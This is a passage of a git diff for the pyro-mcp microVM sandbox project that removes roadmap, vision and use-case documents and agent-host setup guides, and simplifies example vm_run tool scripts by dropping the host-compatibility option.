returns an empty diff summary cleanly - -## Required Repo Updates - -- docs that distinguish seed, sync push, diff, and export -- example showing reproduce -> mutate -> diff -> export -- real Firecracker smoke for diff and export diff --git a/docs/roadmap/task-workspace-ga/2.7.0-service-lifecycle-and-typed-readiness.md b/docs/roadmap/task-workspace-ga/2.7.0-service-lifecycle-and-typed-readiness.md deleted file mode 100644 index 6064fe4..0000000 --- a/docs/roadmap/task-workspace-ga/2.7.0-service-lifecycle-and-typed-readiness.md +++ /dev/null @@ -1,52 +0,0 @@ -# `2.7.0` Service Lifecycle And Typed Readiness - -Status: Done - -## Goal - -Make app-style workspaces practical by adding first-class services and typed -readiness checks. - -## Public API Changes - -- CLI: - - `pyro workspace service start` - - `pyro workspace service list` - - `pyro workspace service status` - - `pyro workspace service logs` - - `pyro workspace service stop` -- SDK/MCP mirror the same shape - -Readiness types: - -- file -- TCP -- HTTP -- command as an escape hatch - -## Implementation Boundaries - -- Support multiple named services per workspace from the first release. -- Service state and logs live outside `/workspace`. -- `workspace status` stays aggregate; detailed service inspection lives under - `workspace service ...`. -- Prefer typed readiness in docs/examples instead of shell-heavy readiness - commands. - -## Non-Goals - -- no host-visible port publication yet -- no secrets or auth wiring in this milestone -- no shell/service unification - -## Acceptance Scenarios - -- start two services in one workspace, wait for readiness, inspect logs and - status, then stop them cleanly -- service files do not appear in `workspace diff` or `workspace export` - -## Required Repo Updates - -- cold-start validation example that uses services -- CLI help/examples for typed readiness -- real Firecracker smoke for multi-service start/status/logs/stop diff --git a/docs/roadmap/task-workspace-ga/2.8.0-named-snapshots-and-reset.md b/docs/roadmap/task-workspace-ga/2.8.0-named-snapshots-and-reset.md deleted file mode 100644 index 21de48c..0000000 --- a/docs/roadmap/task-workspace-ga/2.8.0-named-snapshots-and-reset.md +++ /dev/null @@ -1,44 +0,0 @@ -# `2.8.0` Named Snapshots And Reset - -Status: Done - -## Goal - -Turn reset into a first-class workflow primitive and add explicit named -snapshots, not only the implicit create-time baseline. - -## Public API Changes - -- CLI: - - `pyro workspace snapshot create` - - `pyro workspace snapshot list` - - `pyro workspace snapshot delete` - - `pyro workspace reset WORKSPACE_ID [--snapshot SNAPSHOT_ID|baseline]` -- SDK/MCP mirrors - -## Implementation Boundaries - -- Baseline snapshot is created automatically at workspace creation. -- Named snapshots are explicit user-created checkpoints. -- `workspace reset` recreates the full sandbox, not just `/workspace`. -- Reset may target either the baseline or a named snapshot. - -## Non-Goals - -- no secrets in this milestone -- no live host-sharing or mount semantics -- no branching/merge workflow on snapshots - -## Acceptance Scenarios - -- mutate workspace, create named snapshot, mutate again, reset to snapshot, - confirm state restoration -- mutate service and `/tmp` state, reset to baseline, confirm full sandbox - recreation -- diff after reset is clean when expected - -## Required Repo Updates - -- docs that teach reset over repair explicitly -- example showing baseline reset and named snapshot reset -- real Firecracker smoke for snapshot create -> mutate -> reset diff --git a/docs/roadmap/task-workspace-ga/2.9.0-secrets.md b/docs/roadmap/task-workspace-ga/2.9.0-secrets.md deleted file mode 100644 index 2dd82af..0000000 --- a/docs/roadmap/task-workspace-ga/2.9.0-secrets.md +++ /dev/null @@ -1,43 +0,0 @@ -# `2.9.0` Secrets - -Status: Done - -## Goal - -Add explicit secrets so workspaces can handle private dependencies, -authenticated startup, and secret-aware shell or exec flows without weakening -the fail-closed sandbox model. - -## Public API Changes - -- `workspace create` gains secrets -- `workspace exec`, `workspace shell open`, and `workspace service start` gain - per-call secret-to-env mapping -- SDK and MCP mirror the same model - -## Implementation Boundaries - -- Support literal secrets and host-file-backed secrets. -- Materialize secrets outside `/workspace`. -- Secret values never appear in status, logs, diffs, or exports. -- Reset recreates secrets from persisted secret material, not from the original - host source path. - -## Non-Goals - -- no post-create secret editing -- no secret listing beyond safe metadata -- no mount-based secret transport - -## Acceptance Scenarios - -- create a workspace with a literal secret and a file-backed secret -- run exec and shell flows with mapped env vars -- start a service that depends on a secret-backed readiness path -- confirm redaction in command, shell, and service output - -## Required Repo Updates - -- docs for private dependency workflows -- explicit redaction tests -- real Firecracker smoke for secret-backed exec or service start diff --git a/docs/roadmap/task-workspace-ga/3.0.0-stable-workspace-product.md b/docs/roadmap/task-workspace-ga/3.0.0-stable-workspace-product.md deleted file mode 100644 index 5eb1c93..0000000 --- a/docs/roadmap/task-workspace-ga/3.0.0-stable-workspace-product.md +++ /dev/null @@ -1,39 +0,0 @@ -# `3.0.0` Stable Workspace Product - -Status: Done - -## Goal - -Freeze the workspace-first public contract and promote the product from a -one-shot runner with extras to a stable agent workspace. - -## Public API Changes - -No new capability is required in this milestone. The main change is stability: - -- workspace-first names are the only public contract -- shell, sync, export, diff, services, snapshots, reset, secrets, and network - policy are all part of the stable product surface - -## Implementation Boundaries - -- remove remaining beta/alpha language from workspace docs -- rewrite landing docs so the workspace product is first-class and `pyro run` - is the entry point rather than the center -- lock the stable contract in `docs/public-contract.md` - -## Non-Goals - -- no new secondary tooling -- no job-runner, queue, or CI abstractions - -## Acceptance Scenarios - -- all core vision workflows are documented and runnable from CLI, SDK, and MCP -- the repo no longer presents the workspace model as provisional - -## Required Repo Updates - -- top-level README repositioning around the workspace product -- stable public contract doc for `3.x` -- changelog entry that frames the workspace product as stable diff --git a/docs/roadmap/task-workspace-ga/3.1.0-secondary-disk-tools.md b/docs/roadmap/task-workspace-ga/3.1.0-secondary-disk-tools.md deleted file mode 100644 index 593d71e..0000000 --- a/docs/roadmap/task-workspace-ga/3.1.0-secondary-disk-tools.md +++ /dev/null @@ -1,62 +0,0 @@ -# `3.1.0` Secondary Disk Tools - -Status: Done - -## Goal - -Add stopped-workspace disk tools the vision explicitly places last, while keeping them secondary -to the stable workspace identity. - -## Public API Changes - -Shipped additions: - -- `pyro workspace stop WORKSPACE_ID` -- `pyro workspace start WORKSPACE_ID` -- `pyro workspace disk export WORKSPACE_ID --output HOST_PATH` -- `pyro workspace disk list WORKSPACE_ID [PATH] [--recursive]` -- `pyro workspace disk read WORKSPACE_ID PATH [--max-bytes N]` -- matching Python SDK methods: - - `stop_workspace` - - `start_workspace` - - `export_workspace_disk` - - `list_workspace_disk` - - `read_workspace_disk` -- matching MCP tools: - - `workspace_stop` - - `workspace_start` - - `workspace_disk_export` - - `workspace_disk_list` - - `workspace_disk_read` - -## Implementation Boundaries - -- keep these tools scoped to stopped-workspace inspection, export, and offline workflows -- do not replace shell, exec, services, diff, export, or reset as the main - interaction model -- prefer explicit stopped-workspace or offline semantics -- require guest-backed workspaces for `workspace disk *` -- keep disk export raw ext4 only in this milestone -- scrub runtime-only guest paths such as `/run/pyro-secrets`, `/run/pyro-shells`, and - `/run/pyro-services` before offline inspection or export - -## Non-Goals - -- no drift into generic image tooling identity -- no replacement of workspace-level host crossing -- no disk import -- no disk mutation -- no create-from-disk workflow - -## Acceptance Scenarios - -- inspect or export a stopped workspace disk for offline analysis -- stop a workspace, inspect `/workspace` offline, export raw ext4, then start the same workspace - again without resetting `/workspace` -- verify secret-backed workspaces scrub runtime-only guest paths before stopped-disk inspection - -## Required Repo Updates - -- docs that clearly mark disk tools as secondary -- examples that show when disk tools are faster than a full boot -- real smoke coverage for at least one offline inspection flow diff --git a/docs/troubleshooting.md b/docs/troubleshooting.md index 1b4c125..54a4375 100644 --- a/docs/troubleshooting.md +++ b/docs/troubleshooting.md @@ -20,29 +20,6 @@ pyro env pull debian:12 If you are validating a freshly published official environment, also verify that the corresponding Docker Hub repository is public. -`PYRO_RUNTIME_BUNDLE_DIR` is a contributor override for validating a locally built runtime bundle. -End-user `pyro env pull` should work without setting it. - -## `pyro run` fails closed before the command executes - -Cause: - -- the bundled runtime cannot boot a guest -- guest boot works but guest exec is unavailable -- you are using a mock or shim runtime path that only supports host compatibility mode - -Fix: - -```bash -pyro doctor -``` - -If you intentionally want host execution for a one-off compatibility run, rerun with: - -```bash -pyro run --allow-host-compat debian:12 -- git --version -``` - ## `pyro run --network` fails before the guest starts Cause: @@ -71,8 +48,7 @@ Cause: Fix: - reinstall the package -- verify `pyro doctor` reports `Runtime: PASS` -- or run `pyro doctor --json` and verify `runtime_ok: true` +- verify `pyro doctor` reports `runtime_ok: true` - if you are working from a source checkout, ensure large runtime artifacts are present with `git lfs pull` ## Ollama demo exits with tool-call failures diff --git a/docs/use-cases/README.md b/docs/use-cases/README.md deleted file mode 100644 index e471332..0000000 --- a/docs/use-cases/README.md +++ /dev/null @@ -1,38 +0,0 @@ -# Workspace Use-Case Recipes - -These recipes turn the chat-host workspace path into five concrete agent flows. -They are the canonical next step after the quickstart in [install.md](../install.md) -or [first-run.md](../first-run.md). - -Run all real guest-backed scenarios locally with: - -```bash -make smoke-use-cases -``` - -Recipe matrix: - -| Use case | Recommended mode | Smoke target | Recipe | -| --- | --- | --- | --- | -| Cold-start repo validation | `cold-start` | `make smoke-cold-start-validation` | [cold-start-repo-validation.md](cold-start-repo-validation.md) | -| Repro plus fix loop | `repro-fix` | `make smoke-repro-fix-loop` | [repro-fix-loop.md](repro-fix-loop.md) | -| Parallel isolated workspaces | `repro-fix` | `make smoke-parallel-workspaces` | [parallel-workspaces.md](parallel-workspaces.md) | -| Unsafe or untrusted code inspection | `inspect` | `make smoke-untrusted-inspection` | [untrusted-inspection.md](untrusted-inspection.md) | -| Review and evaluation workflows | `review-eval` | `make smoke-review-eval` | [review-eval-workflows.md](review-eval-workflows.md) | - -All five recipes use the same real Firecracker-backed smoke runner: - -```bash -uv run python scripts/workspace_use_case_smoke.py --scenario all --environment debian:12 -``` - -That runner generates its own host fixtures, creates real guest-backed workspaces, -verifies the intended flow, exports one concrete result when relevant, and cleans -up on both success and failure. Treat `make smoke-use-cases` as the trustworthy -guest-backed verification path for the advertised workspace workflows. - -For a concise review before exporting, resetting, or handing work off, use: - -```bash -pyro workspace summary WORKSPACE_ID -``` diff --git a/docs/use-cases/cold-start-repo-validation.md b/docs/use-cases/cold-start-repo-validation.md deleted file mode 100644 index 763210b..0000000 --- a/docs/use-cases/cold-start-repo-validation.md +++ /dev/null @@ -1,36 +0,0 @@ -# Cold-Start Repo Validation - -Recommended mode: `cold-start` - -Recommended startup: - -```bash -pyro host connect claude-code --mode cold-start -``` - -Smoke target: - -```bash -make smoke-cold-start-validation -``` - -Use this flow when an agent needs to treat a fresh repo like a new user would: -seed it into a workspace, run the validation script, keep one long-running -process alive, probe it from another command, and export a validation report. - -Chat-host recipe: - -1. Create one workspace from the repo seed. -2. Run the validation command inside that workspace. -3. Start the app as a long-running service with readiness configured. -4. Probe the ready service from another command in the same workspace. -5. Export the validation report back to the host. -6. Delete the workspace when the evaluation is done. - -If the named mode feels too narrow, fall back to the generic no-mode path and -then opt into `--profile workspace-full` only when you truly need the larger -advanced surface. - -This recipe is intentionally guest-local and deterministic. It proves startup, -service readiness, validation, and host-out report capture without depending on -external networks or private registries. diff --git a/docs/use-cases/parallel-workspaces.md b/docs/use-cases/parallel-workspaces.md deleted file mode 100644 index 685f6a4..0000000 --- a/docs/use-cases/parallel-workspaces.md +++ /dev/null @@ -1,32 +0,0 @@ -# Parallel Isolated Workspaces - -Recommended mode: `repro-fix` - -Recommended startup: - -```bash -pyro host connect codex --mode repro-fix -``` - -Smoke target: - -```bash -make smoke-parallel-workspaces -``` - -Use this flow when the agent needs one isolated workspace per issue, branch, or -review thread and must rediscover the right one later. - -Chat-host recipe: - -1. Create one workspace per issue or branch with a human-friendly name and - labels. -2. Mutate each workspace independently. -3. Rediscover the right workspace later with `workspace_list`. -4. Update metadata when ownership or issue mapping changes. -5. Delete each workspace independently when its task is done. - -The important proof here is operational, not syntactic: names, labels, list -ordering, and file contents stay isolated even when multiple workspaces are -active at the same time. Parallel work still means “open another workspace in -the same mode,” not “pick a special parallel-work mode.” diff --git a/docs/use-cases/repro-fix-loop.md b/docs/use-cases/repro-fix-loop.md deleted file mode 100644 index ad920c5..0000000 --- a/docs/use-cases/repro-fix-loop.md +++ /dev/null @@ -1,38 +0,0 @@ -# Repro Plus Fix Loop - -Recommended mode: `repro-fix` - -Recommended startup: - -```bash -pyro host connect codex --mode repro-fix -``` - -Smoke target: - -```bash -make smoke-repro-fix-loop -``` - -Use this flow when the agent has to reproduce a bug, patch files without shell -quoting tricks, rerun the failing command, diff the result, export the fix, and -reset back to baseline. - -Chat-host recipe: - -1. Start the server from the repo root with bare `pyro mcp serve`, or use - `--project-path` if the host does not preserve cwd. -2. Create one workspace from that project-aware server without manually passing - `seed_path`. -3. Run the failing command. -4. Inspect the broken file with structured file reads. -5. Apply the fix with `workspace_patch_apply`. -6. Rerun the failing command in the same workspace. -7. Diff and export the changed result. -8. Reset to baseline and delete the workspace. - -If the mode feels too narrow for the job, fall back to the generic bare -`pyro mcp serve` path. - -This is the main `repro-fix` story: model-native file ops, repeatable exec, -structured diff, explicit export, and reset-over-repair. diff --git a/docs/use-cases/review-eval-workflows.md b/docs/use-cases/review-eval-workflows.md deleted file mode 100644 index 4012c34..0000000 --- a/docs/use-cases/review-eval-workflows.md +++ /dev/null @@ -1,32 +0,0 @@ -# Review And Evaluation Workflows - -Recommended mode: `review-eval` - -Recommended startup: - -```bash -pyro host connect claude-code --mode review-eval -``` - -Smoke target: - -```bash -make smoke-review-eval -``` - -Use this flow when an agent needs to read a checklist interactively, run an -evaluation script, checkpoint or reset its changes, and export the final report. - -Chat-host recipe: - -1. Create a named snapshot before the review starts. -2. Open a readable PTY shell and inspect the checklist interactively. -3. Run the review or evaluation script in the same workspace. -4. Capture `workspace summary` to review what changed and what to export. -5. Export the final report. -6. Reset back to the snapshot if the review branch goes sideways. -7. Delete the workspace when the evaluation is done. - -This is the stable shell-facing story: readable PTY output for chat loops, -checkpointed evaluation, explicit export, and reset when a review branch goes -sideways. diff --git a/docs/use-cases/untrusted-inspection.md b/docs/use-cases/untrusted-inspection.md deleted file mode 100644 index aab7ada..0000000 --- a/docs/use-cases/untrusted-inspection.md +++ /dev/null @@ -1,29 +0,0 @@ -# Unsafe Or Untrusted Code Inspection - -Recommended mode: `inspect` - -Recommended startup: - -```bash -pyro host connect codex --mode inspect -``` - -Smoke target: - -```bash -make smoke-untrusted-inspection -``` - -Use this flow when the agent needs to inspect suspicious code or an unfamiliar -repo without granting more capabilities than necessary. - -Chat-host recipe: - -1. Create one workspace from the suspicious repo seed. -2. Inspect the tree with structured file listing and file reads. -3. Run the smallest possible command that produces the inspection report. -4. Export only the report the agent chose to materialize. -5. Delete the workspace when inspection is complete. - -This recipe stays offline-by-default, uses only explicit file reads and execs, -and exports only the inspection report the agent chose to materialize. diff --git a/docs/vision.md b/docs/vision.md deleted file mode 100644 index 2192cce..0000000 --- a/docs/vision.md +++ /dev/null @@ -1,199 +0,0 @@ -# Vision - -`pyro-mcp` should become the disposable MCP workspace for chat-based coding -agents. - -That is a different product from a generic VM wrapper, a secure CI runner, or -an SDK-first platform. - -`pyro-mcp` currently has no users. That means we can still make breaking -changes freely while we shape the chat-host path into the right product. - -## Core Thesis - -The goal is not just to run one command in a microVM. - -The goal is to give a chat-hosted coding agent a bounded workspace where it can: - -- inspect a repo -- install dependencies -- edit files -- run tests -- start and inspect services -- reset and retry -- export patches and artifacts -- destroy the sandbox when the task is done - -The sandbox is the execution boundary for agentic software work. - -## Current Product Focus - -The product path should be obvious and narrow: - -- Claude Code -- Codex -- OpenCode -- Linux `x86_64` with KVM - -The happy path is: - -1. prove the host with the terminal companion commands -2. run `pyro mcp serve` -3. connect a chat host -4. work through one disposable workspace per task - -The repo can contain lower-level building blocks, but they should not drive the -product story. - -## What This Is Not - -`pyro-mcp` should not drift into: - -- a YAML pipeline system -- a build farm -- a generic CI job runner -- a scheduler or queueing platform -- a broad VM orchestration product -- an SDK product that happens to have an MCP server on the side - -Those products optimize for queued work, throughput, retries, matrix builds, or -library ergonomics. - -`pyro-mcp` should optimize for agent loops: - -- explore -- edit -- test -- observe -- reset -- export - -## Why This Can Look Like CI - -Any sandbox product starts to look like CI if the main abstraction is: - -- submit a command -- wait -- collect logs -- fetch artifacts - -That shape is useful, but it is not the center of the vision. - -To stay aligned, the primary abstraction should be a workspace the agent -inhabits from a chat host, not a job the agent submits to a runner. - -## Product Principles - -### Chat Hosts First - -The product should be shaped around the MCP path used from chat interfaces. -Everything else is there to support, debug, or build that path. - -### Workspace-First - -The default mental model should be "open a disposable workspace" rather than -"enqueue a task". - -### Stateful Interaction - -The product should support repeated interaction in one sandbox. One-shot command -execution matters, but it is the entry point, not the destination. - -### Explicit Host Crossing - -Anything that crosses the host boundary should be intentional and visible: - -- seeding a workspace -- syncing changes in -- exporting artifacts out -- granting secrets or network access - -### Reset Over Repair - -Agents should be able to checkpoint, reset, and retry cheaply. Disposable state -is a feature, not a limitation. - -### Agent-Native Observability - -The sandbox should expose the things an agent actually needs to reason about: - -- command output -- file diffs -- service status -- logs -- readiness -- exported results - -## The Shape Of The Product - -The strongest direction is a small chat-facing contract built around: - -- one MCP server -- one disposable workspace model -- structured file inspection and edits -- repeated commands in the same sandbox -- service lifecycle when the workflow needs it -- reset as a first-class workflow primitive - -Representative primitives: - -- `workspace.create` -- `workspace.status` -- `workspace.delete` -- `workspace.sync_push` -- `workspace.export` -- `workspace.diff` -- `workspace.reset` -- `workspace.exec` -- `shell.open` -- `shell.read` -- `shell.write` -- `service.start` -- `service.status` -- `service.logs` - -These names are illustrative, not a promise that every lower-level repo surface -should be treated as equally stable or equally important. - -## Interactive Shells And Disk Operations - -Interactive shells are aligned with the vision because they make the agent feel -present inside the sandbox rather than reduced to one-shot job submission. - -They should remain subordinate to the workspace model, not replace it with a -raw SSH story. - -Disk-level operations are useful for: - -- fast workspace seeding -- snapshotting -- offline inspection -- export/import without a full boot - -They should remain supporting tools rather than the product identity. - -## What To Build Next - -Features should keep reinforcing the chat-host path in this order: - -1. make the first chat-host setup painfully obvious -2. make the recipe-backed workflows feel trivial from chat -3. keep the smoke pack trustworthy enough to gate the advertised stories -4. keep the terminal companion path good enough to debug what the chat sees -5. let lower-level repo surfaces move freely when the chat-host product needs it - -The completed workspace GA roadmap lives in -[roadmap/task-workspace-ga.md](roadmap/task-workspace-ga.md). - -The follow-on milestones that make the chat-host path clearer live in -[roadmap/llm-chat-ergonomics.md](roadmap/llm-chat-ergonomics.md). - -## Litmus Test - -When evaluating a new feature, ask: - -"Does this make Claude Code, Codex, or OpenCode feel more natural and powerful -when they work inside a disposable sandbox?" - -If the better description is "it helps build a broader VM toolkit or SDK", it -is probably pushing the product in the wrong direction. diff --git a/examples/agent_vm_run.py b/examples/agent_vm_run.py index 0079ef5..15dae9d 100644 --- a/examples/agent_vm_run.py +++ b/examples/agent_vm_run.py @@ -6,13 +6,6 @@ import json from typing import Any from pyro_mcp import Pyro -from pyro_mcp.vm_manager import ( - DEFAULT_ALLOW_HOST_COMPAT, - DEFAULT_MEM_MIB, - DEFAULT_TIMEOUT_SECONDS, - DEFAULT_TTL_SECONDS, - DEFAULT_VCPU_COUNT, -) VM_RUN_TOOL: dict[str, Any] = { "name": "vm_run", @@ -27,9 +20,8 @@ VM_RUN_TOOL: dict[str, Any] = { "timeout_seconds": {"type": "integer", "default": 30}, "ttl_seconds": {"type": "integer", "default": 600}, "network": {"type": "boolean", "default": False}, - "allow_host_compat": {"type": "boolean", "default": False}, }, - "required": ["environment", "command"], + "required": ["environment", "command", "vcpu_count", "mem_mib"], }, } @@ -39,12 +31,11 @@ def call_vm_run(arguments: dict[str, Any]) -> dict[str, Any]: return pyro.run_in_vm( environment=str(arguments["environment"]), command=str(arguments["command"]), - vcpu_count=int(arguments.get("vcpu_count", DEFAULT_VCPU_COUNT)), - mem_mib=int(arguments.get("mem_mib", DEFAULT_MEM_MIB)), - timeout_seconds=int(arguments.get("timeout_seconds", DEFAULT_TIMEOUT_SECONDS)), - ttl_seconds=int(arguments.get("ttl_seconds", DEFAULT_TTL_SECONDS)), + vcpu_count=int(arguments["vcpu_count"]), + mem_mib=int(arguments["mem_mib"]), + timeout_seconds=int(arguments.get("timeout_seconds", 30)), + ttl_seconds=int(arguments.get("ttl_seconds", 600)), network=bool(arguments.get("network", False)), - allow_host_compat=bool(arguments.get("allow_host_compat", DEFAULT_ALLOW_HOST_COMPAT)), ) @@ -52,6 +43,8 @@ def main() -> None: tool_arguments: dict[str, Any] = { "environment": "debian:12", "command": "git --version", + "vcpu_count": 1, + "mem_mib": 1024, "timeout_seconds": 30, "network": False, } diff --git a/examples/claude_code_mcp.md b/examples/claude_code_mcp.md deleted file mode 100644 index de9931c..0000000 --- a/examples/claude_code_mcp.md +++ /dev/null @@ -1,52 +0,0 @@ -# Claude Code MCP Setup - -Recommended modes: - -- `cold-start` -- `review-eval` - -Preferred helper flow: - -```bash -pyro host connect claude-code --mode cold-start -pyro host connect claude-code --mode review-eval -pyro host doctor --mode cold-start -``` - -Package without install: - -```bash -claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode cold-start -claude mcp list -``` - -Run that from the repo root when you want the first `workspace_create` to start -from the current checkout automatically. - -Already installed: - -```bash -claude mcp add pyro -- pyro mcp serve --mode cold-start -claude mcp list -``` - -If Claude Code launches the server from an unexpected cwd, pin the project -explicitly: - -```bash -pyro host connect claude-code --mode cold-start --project-path /abs/path/to/repo -claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode cold-start --project-path /abs/path/to/repo -``` - -If the local config drifts later: - -```bash -pyro host repair claude-code --mode cold-start -``` - -Move to `workspace-full` only when the chat truly needs shells, services, -snapshots, secrets, network policy, or disk tools: - -```bash -claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --profile workspace-full -``` diff --git a/examples/codex_mcp.md b/examples/codex_mcp.md deleted file mode 100644 index 53f3c7b..0000000 --- a/examples/codex_mcp.md +++ /dev/null @@ -1,52 +0,0 @@ -# Codex MCP Setup - -Recommended modes: - -- `repro-fix` -- `inspect` - -Preferred helper flow: - -```bash -pyro host connect codex --mode repro-fix -pyro host connect codex --mode inspect -pyro host doctor --mode repro-fix -``` - -Package without install: - -```bash -codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode repro-fix -codex mcp list -``` - -Run that from the repo root when you want the first `workspace_create` to start -from the current checkout automatically. - -Already installed: - -```bash -codex mcp add pyro -- pyro mcp serve --mode repro-fix -codex mcp list -``` - -If Codex launches the server from an unexpected cwd, pin the project -explicitly: - -```bash -pyro host connect codex --mode repro-fix --project-path /abs/path/to/repo -codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode repro-fix --project-path /abs/path/to/repo -``` - -If the local config drifts later: - -```bash -pyro host repair codex --mode repro-fix -``` - -Move to `workspace-full` only when the chat truly needs shells, services, -snapshots, secrets, network policy, or disk tools: - -```bash -codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --profile workspace-full -``` diff --git a/examples/langchain_vm_run.py b/examples/langchain_vm_run.py index dc73506..51208e9 100644 --- a/examples/langchain_vm_run.py +++ b/examples/langchain_vm_run.py @@ -13,13 +13,6 @@ import json from typing import Any, Callable, TypeVar, cast from pyro_mcp import Pyro -from pyro_mcp.vm_manager import ( - DEFAULT_ALLOW_HOST_COMPAT, - DEFAULT_MEM_MIB, - DEFAULT_TIMEOUT_SECONDS, - DEFAULT_TTL_SECONDS, - DEFAULT_VCPU_COUNT, -) F = TypeVar("F", bound=Callable[..., Any]) @@ -28,12 +21,11 @@ def run_vm_run_tool( *, environment: str, command: str, - vcpu_count: int = DEFAULT_VCPU_COUNT, - mem_mib: int = DEFAULT_MEM_MIB, - timeout_seconds: int = DEFAULT_TIMEOUT_SECONDS, - ttl_seconds: int = DEFAULT_TTL_SECONDS, + vcpu_count: int, + mem_mib: int, + timeout_seconds: int = 30, + ttl_seconds: int = 600, network: bool = False, - allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, ) -> str: pyro = Pyro() result = pyro.run_in_vm( @@ -44,7 +36,6 @@ def run_vm_run_tool( timeout_seconds=timeout_seconds, ttl_seconds=ttl_seconds, network=network, - allow_host_compat=allow_host_compat, ) return json.dumps(result, sort_keys=True) @@ -64,13 +55,12 @@ def build_langchain_vm_run_tool() -> Any: def vm_run( environment: str, command: str, - vcpu_count: int = DEFAULT_VCPU_COUNT, - mem_mib: int = DEFAULT_MEM_MIB, - timeout_seconds: int = DEFAULT_TIMEOUT_SECONDS, - ttl_seconds: int = DEFAULT_TTL_SECONDS, + vcpu_count: int, + mem_mib: int, + timeout_seconds: int = 30, + ttl_seconds: int = 600, network: bool = False, - allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, - ) -> str: + ) -> str: """Run one command in an ephemeral Firecracker VM and clean it up.""" return run_vm_run_tool( environment=environment, @@ -80,7 +70,6 @@ def build_langchain_vm_run_tool() -> Any: timeout_seconds=timeout_seconds, ttl_seconds=ttl_seconds, network=network, - allow_host_compat=allow_host_compat, ) return vm_run diff --git a/examples/mcp_client_config.md b/examples/mcp_client_config.md index f4de5f0..9d47ffc 100644 --- a/examples/mcp_client_config.md +++ b/examples/mcp_client_config.md @@ -1,31 +1,5 @@ # MCP Client Config Example -Recommended named modes for most chat hosts in `4.x`: - -- `repro-fix` -- `inspect` -- `cold-start` -- `review-eval` - -Use the host-specific examples first when they apply: - -- Claude Code: [examples/claude_code_mcp.md](claude_code_mcp.md) -- Codex: [examples/codex_mcp.md](codex_mcp.md) -- OpenCode: [examples/opencode_mcp_config.json](opencode_mcp_config.json) - -Preferred repair/bootstrap helpers: - -- `pyro host connect codex --mode repro-fix` -- `pyro host connect codex --mode inspect` -- `pyro host connect claude-code --mode cold-start` -- `pyro host connect claude-code --mode review-eval` -- `pyro host print-config opencode --mode repro-fix` -- `pyro host doctor --mode repro-fix` -- `pyro host repair opencode --mode repro-fix` - -Use this generic config only when the host expects a plain `mcpServers` JSON -shape or when the named modes are too narrow for the workflow. - `pyro-mcp` is intended to be exposed to LLM clients through the public `pyro` CLI. Generic stdio MCP configuration using `uvx`: @@ -35,7 +9,7 @@ Generic stdio MCP configuration using `uvx`: "mcpServers": { "pyro": { "command": "uvx", - "args": ["--from", "pyro-mcp", "pyro", "mcp", "serve", "--mode", "repro-fix"] + "args": ["--from", "pyro-mcp", "pyro", "mcp", "serve"] } } } @@ -48,32 +22,19 @@ If `pyro-mcp` is already installed locally, the same server can be configured wi "mcpServers": { "pyro": { "command": "pyro", - "args": ["mcp", "serve", "--mode", "repro-fix"] + "args": ["mcp", "serve"] } } } ``` -If the host does not preserve the server working directory and you want the -first `workspace_create` to start from a specific checkout, add -`"--project-path", "/abs/path/to/repo"` after `"serve"` in the same args list. +Primary tool for most agents: -Mode progression: - -- `repro-fix`: patch, rerun, diff, export, reset -- `inspect`: narrow offline-by-default inspection -- `cold-start`: validation plus service readiness -- `review-eval`: shell and snapshot-driven review -- generic no-mode path: the fallback when the named mode is too narrow -- `workspace-full`: explicit advanced opt-in for shells, services, snapshots, secrets, network policy, and disk tools - -Primary mode for most agents: - -- `repro-fix` +- `vm_run` Use lifecycle tools only when the agent needs persistent VM state across multiple tool calls. -Other generic-client examples: +Concrete client-specific examples: - Claude Desktop: [examples/claude_desktop_mcp_config.json](claude_desktop_mcp_config.json) - Cursor: [examples/cursor_mcp_config.json](cursor_mcp_config.json) diff --git a/examples/openai_responses_vm_run.py b/examples/openai_responses_vm_run.py index fb8ca37..f40f860 100644 --- a/examples/openai_responses_vm_run.py +++ b/examples/openai_responses_vm_run.py @@ -15,13 +15,6 @@ import os from typing import Any from pyro_mcp import Pyro -from pyro_mcp.vm_manager import ( - DEFAULT_ALLOW_HOST_COMPAT, - DEFAULT_MEM_MIB, - DEFAULT_TIMEOUT_SECONDS, - DEFAULT_TTL_SECONDS, - DEFAULT_VCPU_COUNT, -) DEFAULT_MODEL = "gpt-5" @@ -40,9 +33,8 @@ OPENAI_VM_RUN_TOOL: dict[str, Any] = { "timeout_seconds": {"type": "integer"}, "ttl_seconds": {"type": "integer"}, "network": {"type": "boolean"}, - "allow_host_compat": {"type": "boolean"}, }, - "required": ["environment", "command"], + "required": ["environment", "command", "vcpu_count", "mem_mib"], "additionalProperties": False, }, } @@ -53,12 +45,11 @@ def call_vm_run(arguments: dict[str, Any]) -> dict[str, Any]: return pyro.run_in_vm( environment=str(arguments["environment"]), command=str(arguments["command"]), - vcpu_count=int(arguments.get("vcpu_count", DEFAULT_VCPU_COUNT)), - mem_mib=int(arguments.get("mem_mib", DEFAULT_MEM_MIB)), - timeout_seconds=int(arguments.get("timeout_seconds", DEFAULT_TIMEOUT_SECONDS)), - ttl_seconds=int(arguments.get("ttl_seconds", DEFAULT_TTL_SECONDS)), + vcpu_count=int(arguments["vcpu_count"]), + mem_mib=int(arguments["mem_mib"]), + timeout_seconds=int(arguments.get("timeout_seconds", 30)), + ttl_seconds=int(arguments.get("ttl_seconds", 600)), network=bool(arguments.get("network", False)), - allow_host_compat=bool(arguments.get("allow_host_compat", DEFAULT_ALLOW_HOST_COMPAT)), ) @@ -97,7 +88,7 @@ def main() -> None: model = os.environ.get("OPENAI_MODEL", DEFAULT_MODEL) prompt = ( "Use the vm_run tool to run `git --version` in an ephemeral VM. " - "Use the `debian:12` environment. " + "Use the `debian:12` environment with 1 vCPU and 1024 MiB of memory. " "Do not use networking for this request." ) print(run_openai_vm_run_example(prompt=prompt, model=model)) diff --git a/examples/openai_responses_workspace_core.py b/examples/openai_responses_workspace_core.py deleted file mode 100644 index 1c83551..0000000 --- a/examples/openai_responses_workspace_core.py +++ /dev/null @@ -1,90 +0,0 @@ -"""Canonical OpenAI Responses API integration centered on workspace-core. - -Requirements: -- `pip install openai` or `uv add openai` -- `OPENAI_API_KEY` - -This is the recommended persistent-chat example. In 4.x the default MCP server -profile is already `workspace-core`, so it derives tool schemas from -`Pyro.create_server()` and dispatches tool calls back through that same -default-profile server. -""" - -from __future__ import annotations - 